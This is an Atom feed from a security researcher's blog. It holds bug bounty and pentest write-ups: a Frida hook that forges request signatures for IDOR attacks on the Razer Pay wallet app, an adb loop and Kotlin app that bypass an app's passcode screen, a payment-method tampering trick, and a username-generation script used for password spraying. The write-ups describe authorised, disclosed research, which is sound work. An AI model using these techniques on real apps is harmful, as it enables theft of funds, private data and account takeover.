<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://blog.sambal0x.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://blog.sambal0x.com/" rel="alternate" type="text/html" /><updated>2026-01-20T13:53:50+00:00</updated><id>https://blog.sambal0x.com/feed.xml</id><title type="html">Richard’s Infosec blog</title><subtitle>This purpose of this blog is to serve my rant, brain dumps, or interesting findings as I journey through my career as a security professional.</subtitle><entry><title type="html">Bountycon2020 Presentation</title><link href="https://blog.sambal0x.com/2020/10/17/Bountycon2020-Presentation.html" rel="alternate" type="text/html" title="Bountycon2020 Presentation" /><published>2020-10-17T00:00:00+00:00</published><updated>2020-10-17T00:00:00+00:00</updated><id>https://blog.sambal0x.com/2020/10/17/Bountycon2020-Presentation</id><content type="html" xml:base="https://blog.sambal0x.com/2020/10/17/Bountycon2020-Presentation.html"><![CDATA[<p>I was recently invited to present at BountyCon 2020. This was supposed to early March in Singapore where flights and accomodations were all provided for. I even bought flights for my wife and son so we could take it as an opportunity for a holiday while we were there.</p>

<p><img src="/assets/img/blog/cantwait.jpg" alt="Excited..." /></p>

<p>Sadly when Covid hit just before March, Facebook decided to postpone it and host it as a virtual conference. This was a shame as I was looking forward to meet up with some of my fellow hackers.</p>

<p>Anyway, below is the recorded version of the presentation. Enjoy.</p>

<p> </p>
<p style="position: relative; padding: 30px 0px 57% 0px; height: 0; overflow: hidden;"><iframe src="https://www.youtube.com/embed/iMNs8YAy6pk" width="100%" height="100%" frameborder="0" style="display: block; margin: 0px auto; position: absolute; top: 0; left: 0;"></iframe></p>
<p> </p>]]></content><author><name></name></author><category term="Presentation" /><summary type="html"><![CDATA[I was recently invited to present at BountyCon 2020. This was supposed to early March in Singapore where flights and accomodations were all provided for. I even bought flights for my wife and son so we could take it as an opportunity for a holiday while we were there.]]></summary></entry><entry><title type="html">Hacking Razer Pay Ewallet App</title><link href="https://blog.sambal0x.com/2020/04/30/Hacking-razer-pay-ewallet-app.html" rel="alternate" type="text/html" title="Hacking Razer Pay Ewallet App" /><published>2020-04-30T00:00:00+00:00</published><updated>2020-04-30T00:00:00+00:00</updated><id>https://blog.sambal0x.com/2020/04/30/Hacking-razer-pay-ewallet-app</id><content type="html" xml:base="https://blog.sambal0x.com/2020/04/30/Hacking-razer-pay-ewallet-app.html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>This write-up is about hacking the Razer Pay Android app - an E-Wallet app used in Singapore and Malaysia. It was an interesting journey worth blogging due to the use of some interesting techniques including Frida, a tool that I only thought was meant for bypassing SSL-pinning or root detection.</p>

<p>In this write-up I will show how I was able to use Frida to compromise the app, ranging from reading other user’s chat messages, deleting user’s bank accounts, gleaning user’s private info, and even stealing money from other user’s accounts.</p>

<h2 id="tldr">TL;DR</h2>
<p>The Razer Pay app utilised signatures to prevent tampering of request payloads. Each GET and POST request that was delivered to the server was protected with a calculated signature field.</p>

<p><img src="/assets/img/blog/Razer-Pay1.png" alt="Razer-Pay1..." /></p>

<p>Any attempts to modify the request parameters would result in a error response. However by reverse engineering the APK file and identifying the right methods, it was possible to to calculate the new signatures for modified payloads. Combining the use of Frida to automate the re-calculation of the new signatures, it was possible identify a large number of IDOR issues.</p>

<h2 id="background">Background</h2>
<p>When selecting programs to participate on, I normally like to choose programs that have higher barrier to entry to avoid duplicates. When Razer decided to participate on the Hackerone platform, the Razer Pay app caught my eye. This was because a Malaysian or Singaporean mobile number was required for registration. Living in Australia, I did not own a Malaysian/Singapore mobile numbers. However I had a some friends and family members who lived in Malaysia that were willing help source some Malaysian numbers for testing. Knowing that many bug bounty hunters would mostly have this resistance, I decided to take a deep dive in this app :)</p>

<p><img src="/assets/img/blog/Razer-Pay2.png" alt="Razer-Pay1..." /></p>

<p>I started analyising this application by proxying traffic using Burp and quickly noticed that a lot of parameters could not be tampered. This is due to the signature field in each request. My first thought was to register another user account and copy the same payload for an action that could only be made by that user, and perform it on the first user’s session. But that failed as the signature was also calculated based on the second user’s session auth header.</p>

<p>I was determined to find how the signatures were calculated. So I decompiled the application using <strong>apktool</strong> and use <strong>Jadx-Gui</strong> to understand how the application worked. I started to search for API endpoints and traced it back a method called “MD5Encode”. The name suggested “MD5 hash” algorithm but I was never able to calculate the right signature by MD5-ing the payload (perhaps they were in the wrong order or wasn’t the normal implementation of MD5).</p>

<p><img src="/assets/img/blog/Razer-Pay3.png" alt="Razer-Pay3..." /></p>

<h2 id="deleting-other-users-bank-account">Deleting other user’s bank account</h2>
<p>Not giving up, I decided to copy all the Java code and perform the signature calculation offline. My choice of IDE was <strong>IntelliJ IDEA</strong>. At this point, I knew the the right paramter value sequence to insert into the “MD5Encode” method based on my previous source code analysis. There were some minor tweaking required to get the code to compile (due to the code obfuscation) but it wasn’t too hard. Placing in the same parameter values for an existing request I previously made into the method yielded the same signature, so I knew I was on the right track!</p>

<p><img src="/assets/img/blog/Razer-Pay4.png" alt="Example..." />
<img src="/assets/img/blog/Razer-Pay5.png" alt="Example..." /></p>

<p>I wanted to test for IDORs as I thought there is a good probability that developers were depending on the <code class="language-plaintext highlighter-rouge">signatures</code> to protect against parameter value tampering. In this specific API that I was testing <code class="language-plaintext highlighter-rouge">/deleteBankAccount</code>, I calculated the signatures for a range of predictable <code class="language-plaintext highlighter-rouge">id</code> values and its corresponding <code class="language-plaintext highlighter-rouge">signature</code> value. I then selected the <code class="language-plaintext highlighter-rouge">id</code> (bank Id) for a second account that I owned and delivered the payload.</p>

<p>This worked and I was able to delete my another user’s bank account! Nasty…</p>

<p><img src="/assets/img/blog/Razer-Pay6.png" alt="Example..." /></p>

<h2 id="frida-to-the-rescue">Frida to the rescue</h2>
<p>At this point, I knew there must be other API endpoints that were vulnerable to IDOR but protected by the signature field. I tried to repeat the same attack I did previously but nothing worked. This was because other API endpoints used different algorithm and were painful obfuscated. The code compilation failed and I was wasting a lot of time troubleshooting obfuscated code.</p>

<p>This is where Frida came to the rescue. Frida was awesome as it did all the heavy lifting and all I needed to do was identify the right method that I wanted to hook. By hooking the right method and providing Frida with the neccessary values it needed to calculated the new signatures, I was able to quickly automate things and get the right signature.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// frida.js - Use this for recalculating signature for adding user to other people's chatgroup

console.log("Starting...")
Java.perform(function () {
    var MD5 = Java.use('com.mol.molwallet.view.MD5')
    MD5.MD5Encode.implementation = function (arg)
    {
        console.log("Hooking class MD5 - method MD5Encode")

       //Extra step - calculate new signature
        var ret_value = this.MD5Encode("groupId=1x9&amp;userIds=95xxx7&amp;token=b6fxxxd3-2xxc-4xxf-bxx7-7fxxxxa6")
        console.log("[+]  signature= " + ret_value)

        //Call method with original arguments so app doesn't crash ..
        var ret_value = this.MD5Encode(arg) //original value
                console.log("original ARG: " + arg)  
        return ret_value;
    }
})
</code></pre></div></div>

<p>To run the frida, I had to have root access (This did not matter as I was testing a server side issue and an attacker could easily use a rooted device to perform the attack). The following commands were used to start frida server on the mobile device.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ adb shell
# sudo su
# /data/local/tmp/frida-server
</code></pre></div></div>

<p>On a different terminal tab, I ran the following commands to run the Frida script.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ frida -l frida.js -U com.mol.molwallet
</code></pre></div></div>

<p>As I browsed the mobile app, any action that utilised the hooked method “MD5Encode” would run the script loaded. As a result, I was able to get the right signature that I needed to make a valid request. In this specific example, I was able to add myself to a chatgroup that I was not invited to. The impact of this is that I am able to view other user’s chat messages , and worst of all steal unclaimed money that is shared betweem members in a group chat.</p>

<p><img src="/assets/img/blog/Razer-Pay7.png" alt="Example..." />
<img src="/assets/img/blog/Razer-Pay8.png" alt="Example..." /></p>

<h2 id="rinse-and-repeat">Rinse and repeat</h2>
<p>I repeated the same technique with Frida for all other API endpoints that were vulnerable. Some high impact issues include enumerating how much red packet (money) was shared between users or in a group, viewing and modifying other user’s transaction details and personal information.</p>

<h2 id="final-thoughts">Final thoughts</h2>
<p>The total bounty received for reporting these issues was approximately $6,000. The disclosure and reward process with Razer team were at time frusfrating due to the lack of response. Sometimes I cringe when I read my multiple follow ups for a response or follow ups on bounty rewards that were forgotten. However most of the issues were resolved recently and I have personally decided to take a break from this program going forward given the experience I had.</p>]]></content><author><name></name></author><category term="Bug bounty" /><category term="Mobile" /><summary type="html"><![CDATA[Introduction This write-up is about hacking the Razer Pay Android app - an E-Wallet app used in Singapore and Malaysia. It was an interesting journey worth blogging due to the use of some interesting techniques including Frida, a tool that I only thought was meant for bypassing SSL-pinning or root detection.]]></summary></entry><entry><title type="html">Enumerating hard to guess AD username format</title><link href="https://blog.sambal0x.com/2019/11/01/Enumerating-hard-to-guess-AD-Username-format.html" rel="alternate" type="text/html" title="Enumerating hard to guess AD username format" /><published>2019-11-01T00:00:00+00:00</published><updated>2019-11-01T00:00:00+00:00</updated><id>https://blog.sambal0x.com/2019/11/01/Enumerating-hard-to-guess-AD-Username-format</id><content type="html" xml:base="https://blog.sambal0x.com/2019/11/01/Enumerating-hard-to-guess-AD-Username-format.html"><![CDATA[<p>I quite enjoy external Pentest, especially when the scope is large. There has been some really interesting stuff I have found in the past but in this post I wanted to share a little event that I came across…</p>

<h2 id="background">Background:</h2>
<p>For external Pentest, I normally aim to get a foothold in the client’s internal within the first day by exploiting weak authentication and password spraying on their public AD endpoints. This includes Lync/Skype, OWA, Citrix and other 3rd party application such as ServiceDesk, BYOD applications etc. If the client uses weak password or lacked MFA, this normally gets me in straight away and I complete the objective and can afford to look for more interesting ways into an organisation. This is great as it gives me times to identify vulnerabilities in organisation’s custom app including any 0-days in 3rd party application.</p>

<h2 id="not-this-time">Not this time…</h2>
<p>For this specific client, after enumerating a large number of usernames using Initstring’s awesome tool <code class="language-plaintext highlighter-rouge">Linkedin2username</code> https://github.com/initstring/linkedin2username, I noticed that <code class="language-plaintext highlighter-rouge">Lyncsmash</code> https://github.com/nyxgeek/lyncsmash did not give me any hits for valid users.</p>

<p>After a bit of experimenting, I contacted the client to ask for their AD username format as I struggled to get any hits. The response from the client was that they use very “custom” formats that he himself is not aware how it is assigned.</p>

<p><strong>Hmm…Crap…</strong></p>

<h2 id="thinking-outside-the-box">Thinking outside the box…</h2>
<p>A while back I managed to find an organisation’s username format by searching Github. But this client did not use Github. Fortunately a collegue of mine suggested using other tools such as <code class="language-plaintext highlighter-rouge">FOCA</code> to extract metadata from company documents that might reveal such info.</p>

<p><img src="/assets/img/blog/lighbulb.gif" alt="Light bulb moment" /></p>

<p><strong>Ligh bulb moment!</strong></p>

<p>After running FOCA https://github.com/ElevenPaths/FOCA across previous enumerated subdomain, sure enough I came across some hits revealing the company’s username format, which happen to something like <strong>QWEAB003</strong>. Comparing the enumerated usernames, I quickly noticed that first 3 characters <strong>QWE</strong> are always constant, <strong>A</strong> is first character of the firstname, <strong>B</strong> is the first character of the last name, and the last 3 digits were seemed to be between 001 and 020. The last 3 digits made sense as there could be multiple users with the same initials (e.g. John Doe , James Doodoo)</p>

<p>I quickly wrote a basic python script to enumerate all possible username combinations.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">string</span> <span class="kn">import</span> <span class="n">ascii_uppercase</span>

<span class="k">for</span> <span class="n">a</span> <span class="ow">in</span> <span class="n">ascii_uppercase</span><span class="p">:</span>
    <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">ascii_uppercase</span><span class="p">:</span>
    	<span class="k">for</span> <span class="n">num1</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">):</span>
    		<span class="k">for</span> <span class="n">num2</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>  <span class="c1"># from 000 to 020 to save time
</span>                	<span class="k">print</span><span class="p">(</span><span class="s">"QWE{}{}0{}{}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">a</span><span class="p">,</span><span class="n">b</span><span class="p">,</span><span class="n">num1</span><span class="p">,</span><span class="n">num2</span><span class="p">))</span>


<span class="s">''' Sample output:
QWEAA000 
QWEAA001 
QWEAA002
...
QWEZZ018
QWEZZ019
</span></code></pre></div></div>

<p>I then fed this into <code class="language-plaintext highlighter-rouge">lyncsmash</code> and sure enough, I got hits and very quickly was able tp compromise some users due to weak passwords and lack of MFA, and gain access to their internal network.</p>]]></content><author><name></name></author><category term="Gigs" /><summary type="html"><![CDATA[I quite enjoy external Pentest, especially when the scope is large. There has been some really interesting stuff I have found in the past but in this post I wanted to share a little event that I came across…]]></summary></entry><entry><title type="html">Automate it!</title><link href="https://blog.sambal0x.com/2019/10/23/Automate-it.html" rel="alternate" type="text/html" title="Automate it!" /><published>2019-10-23T00:00:00+00:00</published><updated>2019-10-23T00:00:00+00:00</updated><id>https://blog.sambal0x.com/2019/10/23/Automate-it</id><content type="html" xml:base="https://blog.sambal0x.com/2019/10/23/Automate-it.html"><![CDATA[<p><em>“If you are doing a task more than twice? Then, automate it!”</em> I hear that phrase all the time, but don’t often spend time doing it. Well today’s a good opportunity…</p>

<p>I had some time off today due to an engagement pulling out so I decided to spend the down time combining some of the community recon tools I normally use.</p>

<h2 id="recons-tools-i-use">Recons tools I use:</h2>
<p>The following are some of the tools I normally use for an external PT engagements (or bug bounty programs):</p>
<ul>
  <li>amass (who doesn’t love Amass?)</li>
  <li>massdns (blazing fast!)</li>
  <li>dnsgen (mutate those subdomains)</li>
  <li>subjack (check those subdomain takeovers)</li>
  <li>Eyewitness</li>
  <li>gobuster</li>
</ul>

<h2 id="combine-them-all">Combine them all…</h2>
<p>The following scripts can be used to quickly find any potential low-hanging fruit on an engagement or bug bounty program:</p>

<p><strong>subdomain_enum.sh</strong></p>
<ul>
  <li>Objective: Enumerate as many subdomains for as possible for the target TLD</li>
  <li>Description: The script uses amass to collect valid subdomains, followed by massdns to brute-force, and finally dnsgen to mutate a list of of subdomains and re-feed it back to massdns to brute-force again.</li>
</ul>

<p><strong>screen_enum.sh</strong></p>
<ul>
  <li>Objective: Take screenshots of all the sites found from the subdomains.</li>
  <li>Description: The script uses Eyewitness to take the screenshots. Currently I am just take screenshots on port 80,443 as this tool can take sometime and I want it to be quick.</li>
</ul>

<p><strong>dir_enum.sh</strong></p>
<ul>
  <li>Objective: Search for any interesting or sensitive directories in the enumerated subdomains.</li>
  <li>Description: The script uses gobuster to search for interesting directories. I used to use dirsearch but found that gobuster does the job quicker especially since it is written in GO.</li>
</ul>

<p><strong>master.sh</strong></p>
<ul>
  <li>The three (3) scripts are then combined into a master script - <strong>master.sh</strong>. All output is then fed to an incoming webhook on Slack so I can monitor this from the comfort of my couch.</li>
</ul>

<p><img src="/assets/img/blog/subdomain_enum.JPG" alt="subdomain_enum" />
<img src="/assets/img/blog/screen_enum.JPG" alt="screen_enum" />
<img src="/assets/img/blog/dir_enum.JPG" alt="dir_enum" /></p>

<p>To run the tool, save all the scripts in the same directory and run the following commands:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">./master.sh domain.com</code></pre></figure>

<p>Simple right? Assuming that you have already got the existing tools I mentioned ready to go :)</p>

<p>Script can be downloaded here:</p>
<ul>
  <li><a href="https://github.com/Sambal0x/Recon-tools">https://github.com/Sambal0x/Recon-tools</a></li>
</ul>]]></content><author><name></name></author><category term="Bug bounty" /><category term="Tools" /><summary type="html"><![CDATA[“If you are doing a task more than twice? Then, automate it!” I hear that phrase all the time, but don’t often spend time doing it. Well today’s a good opportunity…]]></summary></entry><entry><title type="html">Passcode Activity Bypass using Race Condition</title><link href="https://blog.sambal0x.com/2019/10/18/Passcodeactivityraceconditionbypass.html" rel="alternate" type="text/html" title="Passcode Activity Bypass using Race Condition" /><published>2019-10-18T00:00:00+00:00</published><updated>2019-10-18T00:00:00+00:00</updated><id>https://blog.sambal0x.com/2019/10/18/Passcodeactivityraceconditionbypass</id><content type="html" xml:base="https://blog.sambal0x.com/2019/10/18/Passcodeactivityraceconditionbypass.html"><![CDATA[<h1 id="background">Background</h1>
<p>An <strong>Activity</strong> is one of the Android’s component in an app. It is the screen that the user sees on a mobile app. (For example, the setting’s “screen”, home “screen, etc). A simple app could have one while more complicated ones could have dozens.</p>

<p>From a security perspective, I normally check if the app components are <strong>exported</strong>, meaning if they can be directly called by other applications. Sometimes these exported apps can be used to bypass restrictions that wasn’t intended by the developer.</p>

<p><img src="/assets/img/blog/exportedcomponent.jpg" alt="Threat model of component hijacking in Android" /></p>

<h2 id="how-i-was-able-to-exploit-this">How I was able to exploit this</h2>
<p>On this specific bug bounty program, I noticed the application permitted a deep link, for argument sake let’s call it <code class="language-plaintext highlighter-rouge">com.android.appname://</code> which automatically triggered the home activity of the app. However, with a passcode setup it was not possible to access the home page. I would consider accessing this page a sensitive as if an attacker could access the home page of the app, he could access sensitive information including making financial transactions.</p>

<p>I initially tried to fuzz different parameters such as “com.android.appname://login=1” using automation tools but this not get me anywhere. I then had a wild thought of sending this intent multiple times quickly, and this was when I noticed the app showed the home screen briefly before entering the passcode screen.</p>

<h2 id="proof-of-concept">Proof of Concept</h2>
<p>I then used the simple following code as a PoC, and was able to bypass the passcode screen.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>while (true); do adb shell am start -a android.intent.action.VIEW -d "com.android.appname://"; sleep 0.15; done
</code></pre></div></div>

<p>No doubt occasionally there were few tapping attemps needed before the app registered the action (due to the timing effect), but it did the job!</p>

<p>I then proceeded to create a simple Android app with my limited Kotlin skills (I admit I struggled but learned a lot)</p>

<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kd">class</span> <span class="nc">MainActivity</span> <span class="o">:</span> <span class="nc">AppCompatActivity</span><span class="o">()</span> <span class="o">{</span>

    <span class="n">override</span> <span class="n">fun</span> <span class="nf">onCreate</span><span class="o">(</span><span class="nl">savedInstanceState:</span> <span class="nc">Bundle</span><span class="o">?)</span> <span class="o">{</span>
        <span class="kd">super</span><span class="o">.</span><span class="na">onCreate</span><span class="o">(</span><span class="n">savedInstanceState</span><span class="o">)</span>
        <span class="n">setContentView</span><span class="o">(</span><span class="no">R</span><span class="o">.</span><span class="na">layout</span><span class="o">.</span><span class="na">activity_main</span><span class="o">)</span>

        <span class="n">bigButton</span><span class="o">.</span><span class="na">setOnClickListener</span> <span class="o">{</span>
            <span class="nc">Log</span><span class="o">.</span><span class="na">d</span><span class="o">(</span><span class="s">"fast"</span><span class="o">,</span> <span class="s">"fast button pressed"</span><span class="o">)</span>
            <span class="n">val</span> <span class="n">url</span> <span class="o">=</span> <span class="s">"com.android.appname://"</span>
            <span class="k">for</span> <span class="o">(</span><span class="n">n</span> <span class="n">in</span> <span class="mi">1</span><span class="o">..</span><span class="mi">500</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">startActivity</span><span class="o">(</span>
                    <span class="nc">Intent</span><span class="o">(</span>
                        <span class="nc">Intent</span><span class="o">.</span><span class="na">ACTION_VIEW</span><span class="o">,</span> <span class="nc">Uri</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="n">url</span><span class="o">)</span>
                    <span class="o">)</span>
                <span class="o">)</span>
                <span class="nc">Thread</span><span class="o">.</span><span class="na">sleep</span><span class="o">(</span><span class="mi">100</span><span class="o">)</span>
            <span class="o">}</span>
        <span class="o">}</span>


        <span class="n">button2</span><span class="o">.</span><span class="na">setOnClickListener</span> <span class="o">{</span>
            <span class="nc">Log</span><span class="o">.</span><span class="na">d</span><span class="o">(</span><span class="s">"medium"</span><span class="o">,</span> <span class="s">"Medium button pressed"</span><span class="o">)</span>
            <span class="n">val</span> <span class="n">url</span> <span class="o">=</span> <span class="s">"com.android.appname://"</span>
            <span class="k">for</span> <span class="o">(</span><span class="n">n</span> <span class="n">in</span> <span class="mi">1</span><span class="o">..</span><span class="mi">500</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">startActivity</span><span class="o">(</span>
                    <span class="nc">Intent</span><span class="o">(</span>
                        <span class="nc">Intent</span><span class="o">.</span><span class="na">ACTION_VIEW</span><span class="o">,</span> <span class="nc">Uri</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="n">url</span><span class="o">)</span>
                    <span class="o">)</span>
                <span class="o">)</span>
                <span class="nc">Thread</span><span class="o">.</span><span class="na">sleep</span><span class="o">(</span><span class="mi">150</span><span class="o">)</span>
            <span class="o">}</span>
        <span class="o">}</span>


        <span class="n">button3</span><span class="o">.</span><span class="na">setOnClickListener</span> <span class="o">{</span>
            <span class="nc">Log</span><span class="o">.</span><span class="na">d</span><span class="o">(</span><span class="s">"slow"</span><span class="o">,</span> <span class="s">"Slow button pressed"</span><span class="o">)</span>
            <span class="n">val</span> <span class="n">url</span> <span class="o">=</span> <span class="s">"com.android.appname://"</span>
            <span class="k">for</span> <span class="o">(</span><span class="n">n</span> <span class="n">in</span> <span class="mi">1</span><span class="o">..</span><span class="mi">500</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">startActivity</span><span class="o">(</span>
                    <span class="nc">Intent</span><span class="o">(</span>
                        <span class="nc">Intent</span><span class="o">.</span><span class="na">ACTION_VIEW</span><span class="o">,</span> <span class="nc">Uri</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="n">url</span><span class="o">)</span>
                    <span class="o">)</span>
                <span class="o">)</span>
                <span class="nc">Thread</span><span class="o">.</span><span class="na">sleep</span><span class="o">(</span><span class="mi">250</span><span class="o">)</span>
            <span class="o">}</span>
        <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span></code></pre></figure>

<p>I created 3 buttons on the app in case the Hackerone reviewer’s phone behaved differently to mine.</p>

<h2 id="final-thoughts">Final thoughts</h2>
<p>This was an interesting find as I never thought of bypassing passcode activities using timing attack.</p>]]></content><author><name></name></author><category term="Bug bounty" /><category term="Mobile" /><summary type="html"><![CDATA[Background An Activity is one of the Android’s component in an app. It is the screen that the user sees on a mobile app. (For example, the setting’s “screen”, home “screen, etc). A simple app could have one while more complicated ones could have dozens.]]></summary></entry><entry><title type="html">Payment bypass via parameter tampering</title><link href="https://blog.sambal0x.com/2019/07/24/payment-bypass-via-parameter-tampering.html" rel="alternate" type="text/html" title="Payment bypass via parameter tampering" /><published>2019-07-24T00:00:00+00:00</published><updated>2019-07-24T00:00:00+00:00</updated><id>https://blog.sambal0x.com/2019/07/24/payment-bypass-via-parameter-tampering</id><content type="html" xml:base="https://blog.sambal0x.com/2019/07/24/payment-bypass-via-parameter-tampering.html"><![CDATA[<p>I was recently testing a checkout payment system. It was the type of setup where everything seemed to be locked down and I had no findings for 2 days straight (most likely because I was looking at the wrong place)</p>

<p><img src="/assets/img/blog/bangkeyboard.gif" alt="Give me something..." /></p>

<p>The checkout page was a two (2) step process. The first page was a page showing the payment amount owing including options to add delivery, vouchers and coupons. The second page was the payment page where the user had to place in his credit card details or other payment methods such as paypal.</p>

<p>After throwing everything I could at it, I noticed something interesting about the payment method in the second step’s POST request body.</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="p">...</span> <span class="n">accept_terms</span><span class="o">=</span><span class="mi">1</span><span class="o">&amp;</span><span class="n">paymentmethod</span><span class="o">=</span><span class="n">creditcard</span><span class="o">&amp;</span><span class="n">PANnumber</span><span class="o">=</span><span class="n">xxxxxxx</span><span class="o">&amp;</span><span class="n">CCexpiry</span><span class="o">=</span><span class="n">xxxxx</span><span class="p">....</span></code></pre></figure>

<p>I thought “What if there were other payment methods that I could use, that could perhaps allow me to get things for free?” .</p>

<p>Playing around a bit more revealed that there was indeed different methods. I noticed that if a voucher was used, and it had enough funds to complete the transaction, the payment method used in step 2 was set to “free”</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="p">...</span> <span class="n">accept_terms</span><span class="o">=</span><span class="mi">1</span><span class="o">&amp;</span><span class="n">paymentmethod</span><span class="o">=</span><span class="n">free</span> <span class="p">...</span></code></pre></figure>

<p>I quickly repeated the whole process with a new item, intercepted the request in step 2, and removed all credit card details and replaced the method with “free”.</p>

<p>Sure enough, the transaction went through and I was able to successfully make a transaction for free.</p>

<p>I reported this immediately to the vendor and an emergency patch was rolled out the next day.</p>]]></content><author><name></name></author><category term="Gigs" /><summary type="html"><![CDATA[I was recently testing a checkout payment system. It was the type of setup where everything seemed to be locked down and I had no findings for 2 days straight (most likely because I was looking at the wrong place)]]></summary></entry></feed>